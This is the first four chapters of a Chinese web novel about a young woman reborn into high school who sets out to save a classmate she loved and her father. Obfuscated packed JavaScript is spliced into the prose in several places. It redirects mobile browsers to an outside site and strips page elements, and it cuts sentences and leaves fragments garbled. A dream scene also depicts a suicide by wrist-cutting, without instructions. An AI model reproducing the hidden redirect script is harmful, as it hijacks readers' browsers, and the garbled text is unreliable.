《逾渊[女尊]》 1. 第一章 四月的夏城,气温已经回暖了,风从窗边吹来拂过窗帘带来一股柔和的暖意。 此时正是下课时间,大部分同学出去透气,只剩几个趴在桌子上补眠,有几个玩得好的凑在角落里低声说笑。 稀稀落落的声音越来越清晰,好像冲破了一层朦胧的雾一点点涌出。 “喂,吃糖吗?”少年的嗓音清朗,带着一股薄荷的甜香气。 伴着鲜血的画面“咔嚓”一声碎裂消散,江逾眠缓缓抬起头,因为长时间趴伏在桌面上导致眼前有些模糊,透过半阖着的双目只能看到一个高挑纤细的剪影。 好像午夜梦回在她梦里出现的那个少年,阳光、漂亮,洋溢着满满的青春气息。 她下意识伸出手接过,听到自己略显干涩的嗓音:“好啊。” 柔软温暖的指尖掠过掌心驱散了浑身的凉意,带来一丝难以觉察的痒,江逾眠近来被失眠噩梦困扰得混沌的脑子突然清醒,猛地睁开眼睛,“今天几号?” “四月二十五号啊,周二。你怎么了?最近刷题太多过糊涂了吗?”少年伸出手在她面前晃了晃,似乎觉得这糖块挺好吃,又往嘴里塞了一颗,圆溜溜的糖抵在脸颊处鼓出一个小小的包。 像只屯粮的仓鼠。 “有可能吧。”江逾眠不着痕迹地挪开横在书本上的手臂,露出下面的课本封面。 高二下册。 撕开包装纸,目光落在少年身上一点都不敢挪开,“马上月考了,你这次觉得怎么样?” 薄荷糖在舌尖上滚过一圈,有点甜,但是和他身上的味道一样,不令人讨厌。 “啊?不要说这么严肃的事情了吧。”谢渊苦着脸,觉得嘴里的糖都不甜了。 少年可怜巴巴的,眼角那一颗小小的痣越发突显,更惹人怜爱了。 “眠姐姐,你教教我好不好?我数学和物理都好烂……的。”谢渊拽着江逾眠的一条手臂晃晃,努力眨眼睛装可爱,然后被自己恶心到了。 “有事眠姐姐,无事喂喂喂是吧?”江逾眠瞅了一眼手臂又收回视线。 谢渊不语只一味眨眼。 江逾眠安静看着人,“行,明晚,你家。”她站起来,手臂自然下垂,掌心收紧。 “好诶!眠姐你去哪?”谢渊侧身让了个位置。 “太闷了,出去走走。”看少年跃跃欲试的样子,江逾眠开口,“别跟着了,回座位看看卷子吧。” “哦。” 蔫哒哒的,如果是一只猫的话,大概已经看到他的飞机耳了。 其实早该明白的,他向来明媚张扬,只有在她面前才会是一幅乖巧软萌的样子,少年向来把欣喜热爱放在明面上,炽热又真诚,只不过是她没有看清选择逃避罢了。 “操,你是不是有病,脑子不好使眼睛也不好使是不是?”江念好正走得好好的就被踩了一脚,她鞋可是新买的,今天才第一次穿,白色鞋面上印着一个灰扑扑的脚印,搁谁谁不恼? 但她回过头脸上的愤怒立马换成了谄媚:“眠姐,你心情不好啊?” 这位可是能给她提供答案的大佬,以后的作业还得考人家呢,高中作业向来多得要死,能写完的都是狠人,要是没有江逾眠免费提供答案,她早晚得凉。 “抱歉啊,我在想事情没有看路,疼吗?”江逾眠一只手揣在校服兜里,另一只手扶了江念一下。 “不疼,不疼。”江念拍拍裤脚和鞋面,“你看一拍就干净了。” “哦,回头我笔记借你看。”说完继续向前走了。 “好嘞,谢谢大佬!”江念在后面挥手,虽然江逾眠看不到,但她的手却挥得欢腾。 “干啥呢你,抽风了?”另一个女生一勾手搂住江念脖子。 “滚,别拿老娘衣服擦汗。”江念嫌弃地推开那女生的手,“眠佬把笔记借我看,嘿嘿这次月考稳了。” “嘿,你擦我一手灰!”“你给我站住,别跑!” 不知不觉江逾眠又回到了教学楼,但是没回班级,而是在转角拐上了顶楼露台,手肘撑在栏杆上,望着眼前寂静的校园,上课铃刚刚响过,这时的校园基本已经清空,只有几个芝麻大小的人影从远处冲过来又隐没在教学楼里。 大概多久没有做过这样平静的梦了呢?不记得了。 闭上眼再睁开是不是还会回到深夜,是不是还会摩挲着玻璃相框,思念着再也见不到的那个人? 如果从这里跳下去,会清醒,还是会死呢? "诶!那个学生,你哪个班的,都上课多长时间了你知不知道,还搁这晃悠呢?下周就月考了,心里没点数啊你!"有点秃顶的教导主任靠在拐角铁门边上一顿输出,嗓门不小,下面一层的人大概也能听见。 “抱歉啊,郝主任,月考快到了,我压力有点大。”江逾眠走到主任身边半低下头装作失落的样子,声音叶有些低沉沙哑。 “逾眠啊,你成绩已经够好的了,上次考试成绩稍微下降些有点波动也是正常的,放宽心。”郝主任认识面前这个孩子,江逾眠成绩名列前茅平时也乖得很,就拍拍她肩膀安慰了她两句。 “再说了,压力大也不能不上课啊,像什么话,快回去吧。”一边催她回班上课一边嘴里还念念有词,“我就说这门应该锁死。” 看着主任油亮的脑门,江逾眠由衷地感到喜悦,或许她真的回到了十八岁那年——那个青春美好、满载希望的时代。 教室里是物理老师耿诺柔和的嗓音,老师是个很温柔的男孩子,刚毕业不久,声音一直不大,挺催眠的。 距离下课还有不到二十分钟,江逾眠没有进去打扰,而是斜倚在后门那,透过小窗去看里边的人。 谢渊身材高挑,在男孩子里个子偏高坐在中间组倒数第二排,从这个角度刚好能看到他的侧脸,看得出来他有努力想听课了,但还是抵不过物理的催眠,手里握着笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543537|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脑袋一点一点的,笔记上大概已经看不出字的模样了吧。 江逾眠盯人盯的一点都不收敛,按理来说对视线稍微敏感点的都该感受到了,但是少年毫无察觉,反而是他前桌的女生忍不住了悄咪咪转头,和江逾眠来了个四目相对。 江逾眠没有被影响到,反而笑了一下,继续散漫地看着少年,那个女生却像是被烫到了一样,一激灵又转回去了。 ‘我去,江逾眠不会喜欢女的吧?她难道喜欢我?以后可得和她保持距离。’张童抹了把脸,把脑子里的乱想甩了出去。 江逾眠不知道她那一笑给某个女生心里留下了多大的阴影,她只觉得少年漂亮得不行,年少时期的自己大概是个傻叉,自以为是睁眼瞎的大傻叉。 下课铃声响起,物理老师准时下课,他向来这样,就算是题没讲完亦或是大题过程写了一半,也会马上放下粉笔走出教室,是唯一一个从不压堂的老师。 江逾眠从正门进教室正好和耿诺擦肩而过,她朝着老师鞠了个躬,他看了少女一眼,嘴唇动了动最终还是什么都没说,就那么抱着教案离开了。 走到谢渊桌边,将手平放到桌面上,正好接住男生垂落的脸颊,软软的。 “唔,下课了吗?”感受到不一样的触感,谢渊迷蒙地睁开眼,摸了一把嘴角。 “笔记借我看看?”江逾眠收回手背在身后不着痕迹地捻了捻手指。 “给你吧,但是我后面睡着了……我真的有努力好好听课的!”谢渊头两句还很是心虚,但后面看着江逾眠的眼睛就又打起精神,攥起拳头像是在蒙蔽自己。 “你开心就好。”江逾眠没忍住揉了一把他的头顶。 “别摸头,摸傻了怎么办?”谢渊眼神很是幽怨。 “本来就不怎么聪明。”江逾眠眼神又一瞬间的幽暗,如果他足够聪明的话,上辈子也不会是以那样的结局收场。 将酸涩压回心底,随手翻了翻少年的笔记,虽说谢渊的物理成绩确实不算好,但是物理笔记却记得很漂亮,字迹工整隽秀,还特意用了不同颜色的笔来区分内容。 不过很明显能看出来大半都是课后补的,因为通常在某节课的中间部分就会出现几条飞扬舞蹈的线然后再戛然而止。 坐在靠窗前排的两个小男生脑袋凑在一起小声地笑还时不时回头看两眼:“磕到了,苍天有眼,我磕的CP发糖了!” “磕到什么了?”坐第二排男生旁边的班长一头雾水,满头问号。 “你不懂,一边呆着去。”男生把班长凑过来的手臂推开,继续和前排小声蛐蛐。 与此同时,在众人不知道的时候,三中校园论坛悄然出现一个帖子,#逾渊#,里面只有一张照片,女生站在桌前微微倾身去揉少年的头发,目光温柔;男生则是抬着头面带幽怨,在阳光下,在喧闹中,她们耀眼得像画中人。 【楼主:偷偷磕,悄咪咪,嘘.jpg】 2. 第二章 如果是命运准许我重来一次,那么希望这一次每一天都是晴天。 “爸,我回来了。”江逾眠把钥匙放在门口的鞋柜上,朝屋里喊。 “眠眠啊,快去洗手,正好吃饭了。”江逾眠的父亲刘青端着两盘家常小炒放到桌上,两只手在围裙上抹了两下。 刘青是家里的老来子,自小深受宠爱,说是一声十指不沾阳春水也不为过,和江逾眠的母亲江慎结婚后二人感情极好,婚后也从未下过厨房。 但是天有不测风云,五年前刘家破产,二老年纪大了身体受不住相继离世,变卖家产后还没有完全还清债务。两年前,母亲突发脑溢血去世,家里虽然有一些积蓄,但是父亲的工资并不高每月都需要还一些贷款,加上江逾眠刚上高中零零总总花销也不算低,为防止坐吃山空父亲决定卖掉家里的房子堵上债务。 于是两人搬来了这个老旧小区的小两居里生活,说是两居室也不尽然,是屋主将原本的一居隔断改成了两居室,厨房改到了阳台,原本的厨房位置改成了次卧。 虽然是七楼没有电梯,但是好在离学校近,价格低廉,周边有超市和市场,生活还算便利。 若是忘掉那些不愉快,两人相依为命日子过得也还算温馨。 “爸,你也好久都没体检了,正好你们公司员工体检,你顺便加几个项目全身都查查吧。”江逾眠咽下嘴里的小白菜。 “爸不用,你看我多健康,咱还是省点钱,明年你就要上大学了,爸爸得给你攒点钱上学用。”刘青笑得温柔,给江逾眠夹了一筷子肉片。 岁月在他脸上留下刻痕,那些深深浅浅的痕迹是这几年才出现的,有时候,江逾眠会想,要是没有她,爸爸会不会过得更轻松些。 不是,她什么时候这么多愁善感了,既然重生了,那就努力就好了,生活总得向前看。 “爸,去看看吧,就这周六,我跟您一起去。”江逾眠眼神里装着的是‘你别想偷跑!’ “行吧,去看看也行,正好最近这个腰也不太舒服。”他加了好几天班,一直坐在电脑前,大概是坐太久累了,刘青没太当回事。 江逾眠点点头,没再多说什么,夹了一筷子菜,微眯起眼睛;“爸,你今天做的这个木须肉真好吃。” “真的啊?喜欢你就多吃点,正长身体的时候,多吃点再长长个子。” “好。”江逾眠埋头吃得欢快,伸出左手比了个OK。 在刘青没看到的阴影中悄悄湿了眼眶,她已经很久没有吃到爸爸做的菜了。 —— 次日,下课时间。 谢渊去楼下小卖部买水喝小零食了,走廊上很热闹,打闹聊天的学生很多,但这些都不太能影响到江逾眠。 江逾眠转着笔在目录上划出重点章节,拿小本子记下学习计划,她离开校园已经好多年了,这些知识需要重新捡起来。 虽说上辈子她是Q大的高材生,但是刚毕业拿几年因专业不对口加上没门路也走了不少弯路,后来才找到方向。如果她想提前创业,那么最好从现在开始努力,如果想更快入行,最好还是要考到P大自动化专业,积累专业知识。但是P大自动化专业全国第一,想要考进去,很难。江逾眠脱离高中校园十多年了,凭借理解和记忆唤醒重新来过想要考个相对高一点的分数不难,但是想要进入顶尖学府顶尖专业却是远远不够的。 对于江逾眠来说,书本上的这些内容不算太陌生,但是想要像高中时那样融会贯通,对知识点理解透彻是很难短时间做到的,近期的考试成绩想必会比高二时低上不少。 而且说好今天晚上要去给谢渊补课的,他基础不太行,大概率要从高一开始捋也说不准,正好自己也需要好好捋顺,刚好可以从知识点串线构建思维导图开始。 下一堂是英语课,江逾眠还是有些自信的,当年她为了能和欧美客户交流,在英语上下了苦功夫,词汇、听力、口语样样不落,达到了能流畅和外国友人交流沟通并撰写全英文文稿的水平,高中英语试卷肯定是不在话下。 那么她就可以把学习重心偏移给理科,近期主要把时间偏移给物理。在书本右侧空白处记下一行小字,翻到下一面。 而且赚钱要提上日程了,昨天接的翻译能过稿的话大概能拿到一千块,当年彩票中奖号码是什么来着?一点没记住。今年世界杯好像爆冷了?到时候买点。 隐约听到有人喊她的名字,江逾眠从书本中抬起头。 一个娇小可爱的男孩子提着一杯奶茶站在门口,笑得很甜,但是江逾眠确定自己不认识他。 男孩子脸颊红红的,把奶茶喝淡粉色信封塞在她手里,扭头就跑了,江逾眠甚至来不及说一句话。 焦糖珍珠奶茶七分糖,是谢渊喜欢的。 拿在手里有些烫手,看起来像是情书的信封、别人送的奶茶,还有面前刚刚走到门口的谢渊。 淡淡的被抓包感…… 放弃思考,她选择面无表情把奶茶喝信封都递给谢渊:“刚才有个小男生给你的。” “给我的?”谢渊指着自己,“确定?人家给你的。”不用猜,肯定是情书。 信封又回到了江逾眠手里,她心想干脆拆开看看,如果是情书就找个时间还给人家,说清楚。 拆开,里面只有一行字:希望逾渊永远幸福!还有个可爱的加油表情。 地铁、老人、手机。 “我没看懂。”江逾眠实话实话,“但应该不是情书。你看一眼。” 谢渊低头看了看,眼睛左看看右看看手在裤缝上蹭了好几下,支支吾吾不知道该怎么说,只好拿起吸管戳开奶茶喝了一口,“奶茶挺好喝的哈。” 深吸一口气:“就是你和我的CP粉。”指指江逾眠又指指自己。 “懂了,那谢谢他。”好想揉揉谢渊脑袋啊。 “嗯?……哦。”谢渊脸颊红了一点,“上课上课!” 江逾眠想了想还是没把信扔掉,如果这算信的话,塞到书桌里用两本用不上的书压住,找个机会裱起来吧。 上课铃响起,江逾眠拿出学习资料圈圈画画,时不时在小本子上记几笔,她不太喜欢把内容详细记录在笔记上,通常是记下重点留几行写一两道典型例题,方便复习的时候翻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543538|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也多亏了她这个习惯,现在她拿起笔记就能快速复习知识点,偶尔拿笔在题旁边补充细节和拓展。这也是为什么别的同学喜欢在考试前借她的笔记来看。 英语老师是个特级教师老太太,上课知识点抠得细,把内容掰开揉碎讲,对基础差的学生来讲是福音,但是这样的老师也有一个特点,那就是讲课进度慢,不适合江逾眠目前的情况。 老师也知道自己讲课的进度不适合一部分学生,于是也睁一只眼闭一只眼,当做没看见江逾眠桌面上的物理书和笔记本,只是时不时抽江逾眠起来讲讲某个知识点,她都对答如流,老师就更不好说些什么了。 按照之前的规划,江逾眠在下课前粗略翻了一遍高一的物理书和笔记,将自己记忆模糊的部分标记出来。 下课铃适时响起,老师将最后一个知识点收尾后拿着保温杯赶去下一堂课。 江逾眠走过去敲敲谢渊的桌边,“你近期的物理试卷拿出来给我看看。”试卷错题是最能够看出一个人知识缺漏的,从试卷痕迹上还能看出一个人的做题习惯。 一张正反面的试卷,卷面很干净,字迹整洁,在题干上有一些平直的细线标注重点信息,如果单从卷面上来看应该是个学霸型人物,但是总分加起来一百分的卷子,卷子的主人只拿到了三十五,其中正确了五道选择,还不排除蒙出来的正确答案。 江逾眠眉头轻挑,有点头疼,如果她没记错的话,谢渊高中时偏科得出奇,数学物理惨不忍睹,语文、化学、生物却极好,所以他的成绩常年在中游浮动,既不出挑扎眼也不会落到后面去遭受老师批评,再加上谢渊已经决定好走艺考路线,,在文化课上的要求会相对放宽。 但即便如此,江逾眠还是不理解,为什么理综三门,谢渊只有物理不行。 现在细细去看他的卷子,才对此有点体会。 “眠姐,是不是没救了啊?”看江逾眠脸上没什么表情,谢渊内心有些许忐忑。 他也知道自己物理有多烂,但是他就是学不明白呀,他能怎么办呢? “不知道。”江逾眠也不敢打包票,尤其在她目前自己还没完全把知识点理清吃透的情况下。 “啊?”谢渊泄了气,把桌子上的书往边上一推,手臂一横,脑袋枕在平放着的手上,朝江逾眠可怜巴巴的眨眼睛。 “这次月考肯定是没有办法了,哪个科目都不能短期提升巨大,你明白的。”江逾眠摊手。 伸出手,把谢渊略微挡住眼睛的头发轻轻撩到耳后,露出眼角那颗浅浅的痣。 谢渊皮肤白,眼睛周围的皮肤又薄,那颗痣便在阳光下越发分明,江逾眠目光略作停顿,拇指在空中悬停了两秒。 谢渊侧趴在手上,脸颊边的软肉挤出一个半圆形,校服外套领子微微后翘,露出白皙颀长的颈项,略长的发贴着皮肤,乖巧得很。 看了一会儿,江逾眠把卷子对折放回谢渊的桌子上,状似随意地拨了两下他的领口,挡住那一段白嫩的肌肤。 “怎么了吗?” “这里折起来了,帮你弄好。”江逾眠面不改色。 “奥。” 3. 第三章 “叔叔好。”江逾眠向于敏问好,低头换上准备好的拖鞋。 其实想想那个时候两家关系真的很不错,在两家都没搬家之前两家人是邻居,于敏和刘青性格相合处成了密友,谢家到现在都还留有江逾眠的专属拖鞋。 是浅绿色的,颜色很清新,上面有几朵黄色的小花装饰,和谢渊的是一对。 “眠眠来了啊,我听我家阿渊说了,麻烦你帮他补课了。”于敏过来接过她的书包,“这不是阿渊这几个月找了私教老师学舞吗,成绩有点下滑,这孩子也不知道为什么非要走艺考。我和你阿姨拦都拦不住。”虽然这么说但男人的脸上却满是笑意,一点都没有抱怨的意思。 “不用了叔叔,有点沉我拿过去就行。” 虽说这几年谢家家庭条件好了不少,从原来的小区搬来市中心,但是于敏还是坚持不请保姆,自己在家操持家务,将房子收拾得又干净又温馨,还是记忆中的样子,没有太大变化。 其实江逾眠不太赞成谢渊继续进入演艺圈,但是上辈子即便在那样艰难的情况下,谢渊都没有说过一句后悔。更何况,在演戏的时候他的眼睛是亮的…… “阿渊在房间做题呢,做一个小时了,一张卷子还没做完呢,你去帮帮他吧,你要是不来啊,还不知道得跟那两张卷子斗争多久呢。”于敏笑着说落他家儿子,眼睛都笑弯了。 上二楼,拐角处的房间是谢渊的,记得他曾经说过最喜欢那个房间,因为在边上,面积大还有两扇大大的窗户,白天时房间特别明亮,看着窗外心情就会特别好。 “眠姐姐~”谢渊听到敲门声转过头来,拉住走过来的江逾眠的衣角,声音又低又软像是在撒娇,“你快过来帮我看看,这道题我怎么都做不出来。” “我看看,这个,这里要考虑到静摩擦,在两物体未发生相对运动时,两个物体之间的摩擦是静摩擦,不能用摩擦力公式,你做一下受力分析,对这个小物块来讲水平方向受力平衡。”江逾眠把书包放在谢渊旁边的座位上,拿起桌上的自动铅,在小物块上画出示意图,写好式子得出结果,“你看这样是不是就算出来了。” 谢渊右手拎了拎江逾眠的书包,没拎起来,扭过头想拉开拉链看看,“霍!挺沉啊,这里都放什么了?” 江逾眠伸手把他的小脑袋推回去,“看题,别看我。”男生脸颊软软的皮肤光滑,她没忍住掐了一下,手感特别好! “别掐我脸!”啪叽拍掉。 “好好好,看这个……你看这样是不是就对了,这里底下的物块撞到墙壁反向,但是上面这个还是朝右的,这时候就是动摩擦了,用两个守恒一算……” 江逾眠给谢渊讲了几道典型题之后就把自己带来的课本翻出来安静复习,时不时给伸头过来的男孩指出要点。 中途于敏来送了一盘水果,两人有一搭没一搭的边吃边学。 “原来是这样,本来我觉得弹簧好难啊,这么一看也不怎么样嘛。”做完卷子谢渊特别高兴,眼中满满的笑意,像是藏着小星星,特别特别可爱。 “这些给你。”江逾眠把一摞笔记放在谢渊面前。 “笔记吗?”谢渊好奇翻开,里面密密麻麻的,好像是物理题,高一高二的都有,“这也太多了。” 快速合上再打开,好像看到的是什么十恶不赦的内容,眉毛紧紧皱了起来,说实话他虽然刚刚做完物理卷子,但是不知道为什么看着眼前的东西他有点想吐,连嘴里的唾液都是苦的。谢渊身体后倾,靠在椅背上脚一使劲往后滑出半米远。 没过一分钟又滑回来了,笔记里题目是从卷子上和参考教辅上剪下来的,手写了详细过程,旁边还写了重点和知识点总结,用不同颜色的笔标记了难度和需要掌握的程度。 “眠姐,谢谢你,这么多你得写了多久啊,你拿回去自己看行不行?”谢渊苦着脸,他真不想要。 “没多久,都是我平常没事的时候边复习边总结的,这次考试肯定是来不及了,但是下次考试前只要你能做完一半,物理成绩肯定能提升一大截。”从三十提升到六十肯定是没问题的。 “这里面我选的题目不多,都是精华,只有少数稍微难一点的做了标记写了详细的解题思路,答案没有的步骤我都写上了。” “你肯定能看懂,对不对?”江逾眠的声音很温柔也很耐心。 她记得当年谢渊物理成绩一直不太好,到最后高考发挥失常,理综失利,导致他没有考上心仪的京市院校。 她知道谢渊一点都不笨,但是他需要的是静下心来细细规划知识点来补足之前的短板,否则到高三就未必来得及了。 希望这次可以不一样,如果她们可以离得近一点,江逾眠就可以更好的护住谢渊。 毕竟谢渊肯定不愿意她为了他放弃更好的院校,但是完全可以换个解题思路,把谢渊的成绩提上来。两全其美! 谢渊被江逾眠的温柔迷了眼睛,迷迷糊糊地收下了好几本物理习题总结,只能皱着苦瓜脸,将这厚得能拍人的本子加入自己的学习计划。 “就这几本不能再多了啊!” “OK。”之后得想办法让人自己学会总结,江逾眠在心里想好了。 如果谢渊听到江逾眠的想法的话,估计会直接选择摆烂。 “好了,今天就到这吧,我得回家了。”江逾眠把桌上的东西收好塞到书包里。 “别装了眠姐,我看到你放包里的睡衣了。”谢渊翻了个白眼,每次都整这出,“出门左转,隔壁房间,床单已经换过了。” —— 刺目的鲜红映在视网膜上,血,满溢而出的血水沿着瓷砖流到下水口,在地面上留下蜿蜒的痕迹。 原本笑容明媚的少年变成了一具冰冷的尸体,面色惨白仰躺在浴缸里,一条手臂伸出来,手腕上用利器划开的口子被打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543539|171100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上马赛克,原本光洁的手臂上伤痕交错。 空旷的房间里只剩下蔓延的血红,一时间天旋地转,刺耳的谩骂、满眼的恶评,还有经纪人在耳边的嘲讽、病危通知书,一行行文字在空中倒悬,自己边缘融化流淌好像要压下来将人溺毙,谢渊生前的遭遇化成一条条沾水的棉布一点点裹紧江逾眠的双眼、口鼻…… 江逾眠的呼吸逐渐急促,耳边只剩下嗡鸣声。 “呼,呼,呼……”江逾眠骤然睁眼,直直坐起身,双手捂住耳朵。 又来了,又是这个梦。 深呼吸,稍微平复了情绪,轻轻拉开门,走到谢渊的门前,抬起手想要敲敲门听听他的声音,又放下手,转过身慢慢靠在门上一点点、一点点滑坐到地上,头紧紧靠在背后的门板上,用一只手臂挡住通红的双眼。 没过一会儿,背后的门突然开了,带着困意的声音在头顶响起,“大晚上的不睡觉你在这干什么呢?” 由于惯性,江逾眠身体后倾,上半身靠到了谢渊的小腿上,透过薄薄的布料传来的温度让人很安心,嗵嗵跳动的心脏终于缓了下来,抬头在走廊灯光映射下隐隐能看到谢渊打了个哈欠揉了两下眼睛。 “做噩梦了,梦游。”江逾眠听到自己沙哑低沉的嗓音。 “是吗?”谢渊莫名觉得这时候的江逾眠很脆弱,像是布满裂痕一碰就会碎的瓷器。 谢渊朝江逾眠伸出手,江逾眠看了一眼他白皙柔软的手背,从她的角度只能看到手背。 撑了一下谢渊的拖鞋,站起来转过身,将面前的少年拉进怀里,紧紧的搂住。 “让我抱一会儿好吗?就一会儿。” “不怕了哦,眠眠宝宝。”谢渊没有挣扎,反而环住了江逾眠的腰,一只手轻拍着她的后背,顺着脊柱抚了两下,“噩梦都是假的哦。” 谢渊小时候做噩梦的时候,爸爸就是这么抱着他安慰他的,但那时候他哭得特别可怜,鼻子都哭红了。 不过八岁之后,谢渊就再也没做过噩梦了,眠姐做噩梦不会也哭了吧,刚刚听她的声音好像有点哭腔?我说有就有。 看你可怜的份上,就让你抱一会儿吧,谢渊心想。 谢渊的睡眠很规律,通常可以从入睡起一觉睡到闹钟响起,如果是放假时间还能再多睡一会儿,要不是听到窸窸窣窣的奇怪响声给他弄得浑身不得劲,他今天也不会醒。 眠姐怎么还不撒手啊,好困。 两人的体温逐渐趋于一致,若是有人在这时候上楼,只能看到黑暗中两个紧紧挨着的剪影。 眠姐的怀里又软又暖和,好想念我的床啊…… 感受到谢渊的呼吸变得平缓,江逾眠才意识到男孩已经困得睡着了,连走廊里的感应灯都暗了下来。 她只好一只手扶着谢渊的腰,一只手揽住他的大腿将人打横抱起,慢慢放到床上,关上小夜灯,轻手轻脚地关上门回到房间。 4. 第四章 “来来来听一下啊”,五一前的最后一节自习课,老班颜霞拿大三角尺敲了敲黑板,“我知道大家马上放假了有些浮躁啊,但你们先别急。” “首先,黑板上这些课代表写上去的作业都记好了啊。” “然后我说一下,这次假期和考试的时间安排,有点乱都记住了,别到时候考试了你没来,舔着个脸过来跟我说你忘了。” “老师,要是真就忘了呢怎么办!”后排的女生嬉笑着举起手。 “刘天琪是吧,行,我记住了,考前去你房间敲门。”颜霞微微眯起眼睛。 刘天琪是老师的侄女,五一假期被她爸妈寄养在了班主任家里。 “哈哈哈哈……”教室里爆发一阵笑声。 “好了,安静!我就说一遍,从明天到五月三号,咱们放假,然后四号五号考试,今天大家把东西都收好放后面柜子里,放桌堂里的一律当你不要了。” “那谁,班长和团支书留一下,和值日生一起摆下桌子,跟每次考试一样就行。” 教室里一片唉声叹气,还有人小声抱怨:“这邪恶的按成绩排名分考场的制度什么时候能被取缔啊……” “6号休假,7号串休上周一的课,作业都这天交上来。”颜霞默默把小蜜蜂戴上了,扯着脖子喊实在压不过这群小兔崽子,“别人班都4号就交,我给你们延到了7号是为了让你们好好复习,到时候考试好好考,别给我丢脸,听到了?” “听——到——了——” “行了,都自习吧,学不下去的也给我把嘴闭上!” 三班从高一开始就一直是颜霞带,除了中间物理老师因为休产假换了耿诺上来,分到的老师都是经验丰富的老师,耿诺也是高材生讲课时深入浅出除了声音小点以外一点毛病没有。 再加上三班的学生入学成绩都不错,所以这两年大部分考试平均分都是第一,顺风顺水惯了,可以说是全年级最吵闹活泼的班级了,一群活宝,成绩好惹祸能力也强得难得一见。 去年冬天的时候刘天琪伙同几个女生在女厕所放二踢脚,把窗户给炸了;还有今年刚开学没多久,几个女生打完球回教学楼的时候手欠,那球一下子就把一楼那木门给怼出了个坑,木头屑都溅出来了…… 但是这群孩子品性又都不坏,知错能改,而且学习态度端正,真学上习比谁都认真。 所以颜霞头疼归头疼,后来也就睁一只眼闭一只眼,让她们自己控制自己反而要好些。 周六,江逾眠陪父亲刘青去做了全套身体检查,刘青身体还算健康,除了有点颈椎病和腰间盘突出外没什么大毛病。 但是江逾眠记得父亲上辈子是胃癌晚期去世的,虽然现在还没有预兆,也要多放点心思在这上面。 前几天做的翻译过稿了,钱已经到账了,她第一时间买了一手股票,她记得这支股票之前一直不被看好,但是三周后公司背后的老总拉到了一大笔注资同时申请的两个实用专利投入市场,公司很快就被盘活了,股票一度从10元一股涨到了两百多一股,到时候一抛立马净赚两万。 她现在是个高中生,空闲时间很少,只能平常多念叨几次,让老爸心里有个念头,等她大学之后赚够了钱就让他退休或者换个轻松的活,找个营养师专门搭配好膳食。 刘青去取报告,江逾眠半靠在墙上,低头看手机。 [逾:还没原谅我吗?] [年年:上课中勿扰(自动回复)] 自从上次半夜抱抱之后,不知道怎么回事,谢渊一直别别扭扭的,好像是后知后觉的羞耻,下课也不找她聊天了,只一味的拿着笔记装模作样,被她抓包了两次扭头偷看她之后更是头一别,像是吃了什么让人安静的药。 [年年(害羞版):你做错了什么事?] [逾:没有吗?那你这几天怎么这么沉默?西子捧心.jpg] [年年(害羞版):上课中勿扰!] 江逾眠盯着屏幕上的那个感叹号,忍不住唇角上扬。 “呀,青青,你今天也来做体检啊,眠眠也在呀?好巧,我和我们家老谢也来体检,报告都取完了。”于敏拽着谢母走过来,“正好,年年在附近上舞蹈课,咱们两家一起吃个中饭吧。” 于敏果断放开了谢母的手挽上刘青的手臂,“报告怎么样?” “挺好的,没什么毛病,你呢?”刘青把报告给于敏看了看。 “我啊,身体倍棒,就是我家老谢胃不太好,要说这胃啊真得好好养,你看她平时吃饭不规律胃炎了吧。”于敏瞪了谢母一眼,“这周围有一家炒菜清淡又好吃,每次饭点路过我都得去点两个菜。” 刘青看到谢母一分钟内已经回了好几条消息,有点不好意思。 “你们要是忙啊,咱今天就别一起吃了,哪天有时间再聚吧。”、 “诶,再忙哪有吃饭重要,你也知道她嘴笨那是不知道说什么装忙呢。”一听她家老公这么说,谢母只好收起手机,一脸的拿你没办法。 刘青听这话也不好再推辞,只能跟着于敏走了。 刘青看着于敏娇俏的样子是有些羡慕的,放在几年前他也是个十指不沾阳春水的少爷,只是这几年被生活的艰辛磋磨得好像失去了毫无负担快乐的能力。 谢渊到的时候已经点好了菜,谢父谢母坐在一起,于敏单独坐在其中一个单座上,靠离得那个则放着衣服和报告单,只有江逾眠身边的座位空着。 看着江逾眠起身把座位拉开,谢渊只好上前几步坐好。 谢渊练了三个小时的舞,浑身被汗浸透了,只好在舞室冲了个澡匆匆赶来,脖子上挂着一条白色的毛巾,头发还没完全干,软软的贴在脑门上,有一滴水在发尖上摇摇欲坠,一丝淡淡的香气混着体温氤氲而来,江逾眠没忍住把手伸了过去。 “干嘛?”看到伸到自己这边的手,想了想把手放上去了,水滴刚好滴到了手背上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 